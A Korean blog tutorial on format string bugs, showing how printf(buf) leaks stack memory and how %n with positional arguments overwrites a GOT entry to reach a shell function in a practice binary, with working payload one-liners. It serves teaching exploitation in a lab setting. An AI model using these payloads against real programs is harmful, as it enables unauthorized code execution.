FSB(Format String Bug)란
포맷 스트링은 C언어의 %d,%f,%x,%lf와 같은 것이다.
이런 것이 버그가 난다는 것인데 무슨 말인지 보자
개발자들이 실수로 printf(buf)와 같이 사용을 했을때 일어나는 버그이다.
입력값을 포맷스트링을 넣으면 입력값을 문자로 취급하는게 아니라 서식문자로 취급해서 취약점이 일어난다.
예시를 보자
printf에서 포맷스트링버그가 보인다.
그러면 서식문자를 넣어봐서 무슨값이 나오는지 보자.
정말로 주소값이 나온다.
이번에는 AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x이렇게 값을 줘보자.
값을 보다보면 41414141이 보인다.
아까 AAAA를 주었던 것이 저곳에 위치해 있는 것을 알 수 있다.
그러면 우리는 이것을 이용해서 값을 변조(Ex:Got Overwrite) 할 수 있을 것 이다.
해보기 전에 우리는 %n이라는 포맷 스트링을 알아야 한다.
%n은 출력한 문자열의 개수를 특정 메모리에 써준다.
만약 "abcde\0"을 출력하면 출력한 갯수 6을 써주는 것과 같이 사용된다.
값을 바꾸기 위해서는 %305419896x%14$n 이와 같은 형태를 사용하면 된다.
%넣을 값%몇번 째$n과 같이 사용하면 된다.
넣을 값에는 dec로 값을 넣어 주어야 한다.
만약 41414141에 12345678과 같은 값을 넣어주고 싶으면
%305419896x%6$n과 같이 넣어주면 6번째인 41414141에 들어갈 것이다.
그럼 문제를 한번 풀어 보자.
write함수를 Got Overwrite하면 쉘을 실행 시킬 수 있을 것 같다.
한번 실행을 해서 몇번 째에 위치하는지 확인해보자.
7번째에 위치한다.
%(미정)x%7$n
이번에는 write의 got값과 shell함수의 주소값을 찾아 보겠다.
일단 got의 값을 찾았다.
이번에는 nm을 이용해서 shell의 주소값을 찾아보겠다.
이제 전부 구했다.
write의 got()%shell함수의 주소()x%7$n 를 적어주면 된다.
\x20\xa0\x04\x08%134513915x%7$n
(python -c 'print "\x20\xa0\x04\x08%134513915x%7$n"';cat)|./prob
이렇게 값을 줘서 실행을 해보자.
실행을 하면 화면이 쭉 내려가는 것을 볼 수 있다.
그렇다가 끝나면 쉘이 따지거나 안되거나 할 것이다.
안되면 core파일을 생성해서 확인해 보자.
core파일을 확인해 보니
우리가 가야하는 shell의 주소보다 값이 4가 크다.
그럼 (python -c 'print "\x20\xa0\x04\x08%134513915x%7$n"';cat)|./prob에서 넣어줄 값에다 4를 빼고 실행해 보자.
(python -c 'print "\x20\xa0\x04\x08%134513911x%7$n"';cat)|./prob
쉘이 따졌다.
다음번에는 Double Format String Bug를 알아보겠다.
'SYSTEM HACKING > 기법' 카테고리의 다른 글
[How2Heap] Fastbin dup into Stack (0) | 2018.01.28 |
---|---|
Special Chapter-Double Stage Format String Bug (0) | 2018.01.01 |
DAY-7 ROP(Return Oriented Programming) (0) | 2017.11.18 |
Special Chapter-RTL Chaining (0) | 2017.11.11 |
DAY-6 Return To Library (0) | 2017.11.11 |